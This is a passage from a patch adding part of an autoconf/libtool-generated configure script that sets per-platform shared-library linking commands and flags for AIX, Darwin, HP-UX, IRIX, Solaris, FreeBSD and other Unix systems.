+	  export_symbols_cmds='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && (substr(\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols'
+	fi
+	aix_use_runtimelinking=no
+
+	# Test if we are trying to use run time linking or normal
+	# AIX style linking. If -brtl is somewhere in LDFLAGS, we
+	# need to do runtime linking.
+	case $host_os in aix4.[23]|aix4.[23].*|aix5*)
+	  for ld_flag in $LDFLAGS; do
+  	  if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
+  	    aix_use_runtimelinking=yes
+  	    break
+  	  fi
+	  done
+	  ;;
+	esac
+
+	exp_sym_flag='-bexport'
+	no_entry_flag='-bnoentry'
+      fi
+
+      # When large executables or shared objects are built, AIX ld can
+      # have problems creating the table of contents.  If linking a library
+      # or program results in "error TOC overflow" add -mminimal-toc to
+      # CXXFLAGS/CFLAGS for g++/gcc.  In the cases where that is not
+      # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
+
+      archive_cmds=''
+      hardcode_direct=yes
+      hardcode_libdir_separator=':'
+      link_all_deplibs=yes
+      file_list_spec='${wl}-f,'
+
+      if test "$GCC" = yes; then
+	case $host_os in aix4.[012]|aix4.[012].*)
+	# We only want to do this on AIX 4.2 and lower, the check
+	# below for broken collect2 doesn't work under 4.3+
+	  collect2name=`${CC} -print-prog-name=collect2`
+	  if test -f "$collect2name" &&
+  	   strings "$collect2name" | $GREP resolve_lib_name >/dev/null
+	  then
+  	  # We have reworked collect2
+  	  hardcode_direct=yes
+	  else
+  	  # We have old collect2
+  	  hardcode_direct=unsupported
+  	  # It fails to find uninstalled libraries when the uninstalled
+  	  # path is not listed in the libpath.  Setting hardcode_minus_L
+  	  # to unsupported forces relinking
+  	  hardcode_minus_L=yes
+  	  hardcode_libdir_flag_spec='-L$libdir'
+  	  hardcode_libdir_separator=
+	  fi
+	  ;;
+	esac
+	shared_flag='-shared'
+	if test "$aix_use_runtimelinking" = yes; then
+	  shared_flag="$shared_flag "'${wl}-G'
+	fi
+      else
+	# not using gcc
+	if test "$host_cpu" = ia64; then
+  	# VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
+  	# chokes on -Wl,-G. The following line is correct:
+	  shared_flag='-G'
+	else
+	  if test "$aix_use_runtimelinking" = yes; then
+	    shared_flag='${wl}-G'
+	  else
+	    shared_flag='${wl}-bM:SRE'
+	  fi
+	fi
+      fi
+
+      # It seems that -bexpall does not export symbols beginning with
+      # underscore (_), so it is better to generate a list of symbols to export.
+      always_export_symbols=yes
+      if test "$aix_use_runtimelinking" = yes; then
+	# Warning - without using the other runtime loading flags (-brtl),
+	# -berok will link without error, but may produce a broken library.
+	allow_undefined_flag='-berok'
+        # Determine the default libpath from the value encoded in an
+        # empty executable.
+        cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+
+lt_aix_libpath_sed='
+    /Import File Strings/,/^$/ {
+	/^0/ {
+	    s/^0  *\(.*\)$/\1/
+	    p
+	}
+    }'
+aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+# Check for a 64-bit object if we didn't find anything.
+if test -z "$aix_libpath"; then
+  aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+fi
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+        hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+        archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then $ECHO "X${wl}${allow_undefined_flag}" | $Xsed; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+      else
+	if test "$host_cpu" = ia64; then
+	  hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib'
+	  allow_undefined_flag="-z nodefs"
+	  archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
+	else
+	 # Determine the default libpath from the value encoded in an
+	 # empty executable.
+	 cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+
+lt_aix_libpath_sed='
+    /Import File Strings/,/^$/ {
+	/^0/ {
+	    s/^0  *\(.*\)$/\1/
+	    p
+	}
+    }'
+aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+# Check for a 64-bit object if we didn't find anything.
+if test -z "$aix_libpath"; then
+  aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+fi
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+	 hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+	  # Warning - without using the other run time loading flags,
+	  # -berok will link without error, but may produce a broken library.
+	  no_undefined_flag=' ${wl}-bernotok'
+	  allow_undefined_flag=' ${wl}-berok'
+	  # Exported symbols can be pulled into shared objects from archives
+	  whole_archive_flag_spec='$convenience'
+	  archive_cmds_need_lc=yes
+	  # This is similar to how AIX traditionally builds its shared libraries.
+	  archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
+	fi
+      fi
+      ;;
+
+    amigaos*)
+      if test "$host_cpu" = m68k; then
+        archive_cmds='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
+        hardcode_libdir_flag_spec='-L$libdir'
+        hardcode_minus_L=yes
+      fi
+      # see comment about different semantics on the GNU ld section
+      ld_shlibs=no
+      ;;
+
+    bsdi[45]*)
+      export_dynamic_flag_spec=-rdynamic
+      ;;
+
+    cygwin* | mingw* | pw32*)
+      # When not using gcc, we currently assume that we are using
+      # Microsoft Visual C++.
+      # hardcode_libdir_flag_spec is actually meaningless, as there is
+      # no search path for DLLs.
+      hardcode_libdir_flag_spec=' '
+      allow_undefined_flag=unsupported
+      # Tell ltmain to make .lib files, not .a files.
+      libext=lib
+      # Tell ltmain to make .dll files, not .so files.
+      shrext_cmds=".dll"
+      # FIXME: Setting linknames here is a bad hack.
+      archive_cmds='$CC -o $lib $libobjs $compiler_flags `$ECHO "X$deplibs" | $Xsed -e '\''s/ -lc$//'\''` -link -dll~linknames='
+      # The linker will automatically build a .lib file if we build a DLL.
+      old_archive_from_new_cmds='true'
+      # FIXME: Should let the user specify the lib program.
+      old_archive_cmds='lib /OUT:$oldlib$oldobjs$old_deplibs'
+      fix_srcfile_path='`cygpath -w "$srcfile"`'
+      enable_shared_with_static_runtimes=yes
+      ;;
+
+    darwin* | rhapsody*)
+      case $host_os in
+      rhapsody* | darwin1.[012])
+	allow_undefined_flag='${wl}-undefined ${wl}suppress'
+	;;
+      *) # Darwin 1.3 on
+	case ${MACOSX_DEPLOYMENT_TARGET-10.0} in
+	10.[012])
+	  allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
+	  ;;
+	10.*)
+	  allow_undefined_flag='${wl}-undefined ${wl}dynamic_lookup'
+	  ;;
+	esac
+	;;
+      esac
+      archive_cmds_need_lc=no
+      hardcode_direct=no
+      hardcode_automatic=yes
+      hardcode_shlibpath_var=unsupported
+      whole_archive_flag_spec=''
+      link_all_deplibs=yes
+      if test "$GCC" = yes ; then
+	if test "${lt_cv_apple_cc_single_mod+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_cv_apple_cc_single_mod=no
+	if test -z "${LT_MULTI_MODULE}"; then
+	  # By default we will add the -single_module flag. You can override
+	  # by either setting the environment variable LT_MULTI_MODULE
+	  # non-empty at configure time, or by adding -multi-module to the
+	  # link flags.
+	  echo "int foo(void){return 1;}" > conftest.c
+	  $LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \
+	      -dynamiclib ${wl}-single_module conftest.c
+	  if test -f libconftest.dylib; then
+	      lt_cv_apple_cc_single_mod=yes
+	      rm libconftest.dylib
+	  fi
+	  rm conftest.$ac_ext
+	fi
+fi
+
+	output_verbose_link_cmd=echo
+	if test "X$lt_cv_apple_cc_single_mod" = Xyes ; then
+	  archive_cmds='$CC -dynamiclib $single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
+	  archive_expsym_cmds='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $single_module -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	else
+	  archive_cmds='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
+	  archive_expsym_cmds='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	fi
+	module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+	module_expsym_cmds='sed -e "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+      else
+	case $cc_basename in
+	xlc*)
+	  output_verbose_link_cmd=echo
+	  archive_cmds='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`$ECHO $rpath/$soname` $verstring'
+	  module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+	  # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
+	  archive_expsym_cmds='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	  module_expsym_cmds='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	  ;;
+	*)
+	  ld_shlibs=no
+	  ;;
+	esac
+      fi
+      ;;
+
+    dgux*)
+      archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      hardcode_libdir_flag_spec='-L$libdir'
+      hardcode_shlibpath_var=no
+      ;;
+
+    freebsd1*)
+      ld_shlibs=no
+      ;;
+
+    # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
+    # support.  Future versions do this automatically, but an explicit c++rt0.o
+    # does not break anything, and helps significantly (at the cost of a little
+    # extra space).
+    freebsd2.2*)
+      archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
+      hardcode_libdir_flag_spec='-R$libdir'
+      hardcode_direct=yes
+      hardcode_shlibpath_var=no
+      ;;
+
+    # Unfortunately, older versions of FreeBSD 2 do not have this feature.
+    freebsd2*)
+      archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
+      hardcode_direct=yes
+      hardcode_minus_L=yes
+      hardcode_shlibpath_var=no
+      ;;
+
+    # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+    freebsd* | kfreebsd*-gnu | dragonfly*)
+      archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
+      hardcode_libdir_flag_spec='-R$libdir'
+      hardcode_direct=yes
+      hardcode_shlibpath_var=no
+      ;;
+
+    hpux9*)
+      if test "$GCC" = yes; then
+	archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+      else
+	archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+      fi
+      hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
+      hardcode_libdir_separator=:
+      hardcode_direct=yes
+
+      # hardcode_minus_L: Not really in the search PATH,
+      # but as the default location of the library.
+      hardcode_minus_L=yes
+      export_dynamic_flag_spec='${wl}-E'
+      ;;
+
+    hpux10*)
+      if test "$GCC" = yes -a "$with_gnu_ld" = no; then
+	archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+      else
+	archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+      fi
+      if test "$with_gnu_ld" = no; then
+	hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
+	hardcode_libdir_flag_spec_ld='+b $libdir'
+	hardcode_libdir_separator=:
+	hardcode_direct=yes
+	export_dynamic_flag_spec='${wl}-E'
+	# hardcode_minus_L: Not really in the search PATH,
+	# but as the default location of the library.
+	hardcode_minus_L=yes
+      fi
+      ;;
+
+    hpux11*)
+      if test "$GCC" = yes -a "$with_gnu_ld" = no; then
+	case $host_cpu in
+	hppa*64*)
+	  archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	ia64*)
+	  archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	*)
+	  archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	esac
+      else
+	case $host_cpu in
+	hppa*64*)
+	  archive_cmds='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	ia64*)
+	  archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	*)
+	  archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	esac
+      fi
+      if test "$with_gnu_ld" = no; then
+	hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
+	hardcode_libdir_separator=:
+
+	case $host_cpu in
+	hppa*64*|ia64*)
+	  hardcode_direct=no
+	  hardcode_shlibpath_var=no
+	  ;;
+	*)
+	  hardcode_direct=yes
+	  export_dynamic_flag_spec='${wl}-E'
+
+	  # hardcode_minus_L: Not really in the search PATH,
+	  # but as the default location of the library.
+	  hardcode_minus_L=yes
+	  ;;
+	esac
+      fi
+      ;;
+
+    irix5* | irix6* | nonstopux*)
+      if test "$GCC" = yes; then
+	archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+	# Try to use the -exported_symbol ld option, if it does not
+	# work, assume that -exports_file does not work either and
+	# implicitly export all symbols.
+        save_LDFLAGS="$LDFLAGS"
+        LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+        cat >conftest.$ac_ext <<_ACEOF
+int foo(void) {}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+        LDFLAGS="$save_LDFLAGS"
+      else
+	archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+	archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+      fi
+      archive_cmds_need_lc='no'
+      hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+      hardcode_libdir_separator=:
+      inherit_rpath=yes
+      link_all_deplibs=yes
+      ;;
+
+    netbsd*)
+      if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then
+	archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'  # a.out
+      else
+	archive_cmds='$LD -shared -o $lib $libobjs $deplibs $linker_flags'      # ELF
+      fi
+      hardcode_libdir_flag_spec='-R$libdir'
+      hardcode_direct=yes
+      hardcode_shlibpath_var=no
+      ;;
+
+    newsos6)
+      archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      hardcode_direct=yes
+      hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+      hardcode_libdir_separator=:
+      hardcode_shlibpath_var=no
+      ;;
+
+    *nto* | *qnx*)
+      ;;
+
+    openbsd*)
+      hardcode_direct=yes
+      hardcode_shlibpath_var=no
+      if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+	archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+	archive_expsym_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
+	hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
+	export_dynamic_flag_spec='${wl}-E'
+      else
+        case $host_os in
+	openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
+	  archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
+	  hardcode_libdir_flag_spec='-R$libdir'
+	  ;;
+	*)
+	  archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+	  hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
+	  ;;
+        esac
+      fi
+      ;;
+
+    os2*)
+      hardcode_libdir_flag_spec='-L$libdir'
+      hardcode_minus_L=yes
+      allow_undefined_flag=unsupported
+      archive_cmds='$ECHO "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$ECHO DATA >> $output_objdir/$libname.def~$ECHO " SINGLE NONSHARED" >> $output_objdir/$libname.def~$ECHO EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
+      old_archive_from_new_cmds='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
+      ;;
+
+    osf3*)
+      if test "$GCC" = yes; then
+	allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+	archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+      else
+	allow_undefined_flag=' -expect_unresolved \*'
+	archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+      fi
+      archive_cmds_need_lc='no'
+      hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+      hardcode_libdir_separator=:
+      ;;
+
+    osf4* | osf5*)	# as osf3* with the addition of -msym flag
+      if test "$GCC" = yes; then
+	allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+	archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+	hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+      else
+	allow_undefined_flag=' -expect_unresolved \*'
+	archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -msym -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+	archive_expsym_cmds='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; printf "%s\\n" "-hidden">> $lib.exp~
+	$CC -shared${allow_undefined_flag} -input $lib.exp $compiler_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib~$RM $lib.exp'
+
+	# Both c and cxx compiler support -rpath directly
+	hardcode_libdir_flag_spec='-rpath $libdir'
+      fi
+      archive_cmds_need_lc='no'
+      hardcode_libdir_separator=:
+      ;;
+
+    solaris*)
+      no_undefined_flag=' -z defs'
+      if test "$GCC" = yes; then
+	wlarc='${wl}'
+	archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+	  $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+      else
+	case `$CC -V 2>&1` in
+	*"Compilers 5.0"*)
+	  wlarc=''
+	  archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	  archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+	  $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$RM $lib.exp'
+	  ;;
+	*)
+	  wlarc='${wl}'
+	  archive_cmds='$CC -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $compiler_flags'
+	  archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+	  $CC -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+	  ;;
+	esac
+      fi
+      hardcode_libdir_flag_spec='-R$libdir'
+      hardcode_shlibpath_var=no
+      case $host_os in
+      solaris2.[0-5] | solaris2.[0-5].*) ;;
+      *)
+	# The compiler driver will combine linker options so we
+	# cannot just pass the convenience library names through
+	# without $wl, iff we do not link with $LD.
+	# Luckily, gcc supports the same syntax we need for Sun Studio.
+	# Supported since Solaris 2.6 (maybe 2.5.1?)
+	case $wlarc in
+	'')
+	  whole_archive_flag_spec='-z allextract$convenience -z defaultextract' ;;
+	*)
+	  whole_archive_flag_spec='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
+	esac ;;
+      esac
+      link_all_deplibs=yes
+      ;;
+
+    sunos4*)
+      if test "x$host_vendor" = xsequent; then
+	# Use $CC to link under sequent, because it throws in some extra .o
+	# files that make .init and .fini sections work.
+	archive_cmds='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
+      else
+	archive_cmds='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
+      fi
+      hardcode_libdir_flag_spec='-L$libdir'
+      hardcode_direct=yes
+      hardcode_minus_L=yes
+      hardcode_shlibpath_var=no
+      ;;
+
+    sysv4)
+      case $host_vendor in
+	sni)
+	  archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	  hardcode_direct=yes # is this really true???
+	;;
+	siemens)
+	  ## LD is ld it makes a PLAMLIB
+	  ## CC just makes a GrossModule.
+	  archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags'
+	  reload_cmds='$CC -r -o $output$reload_objs'
+	  hardcode_direct=no
+        ;;
+	motorola)
+	  archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	  hardcode_direct=no #Motorola manual says yes, but my tests say they lie
+	;;
+      esac
+      runpath_var='LD_RUN_PATH'
+      hardcode_shlibpath_var=no
+      ;;
+
+    sysv4.3*)
+      archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      hardcode_shlibpath_var=no
+      export_dynamic_flag_spec='-Bexport'
+      ;;
+
+    sysv4*MP*)
+      if test -d /usr/nec; then
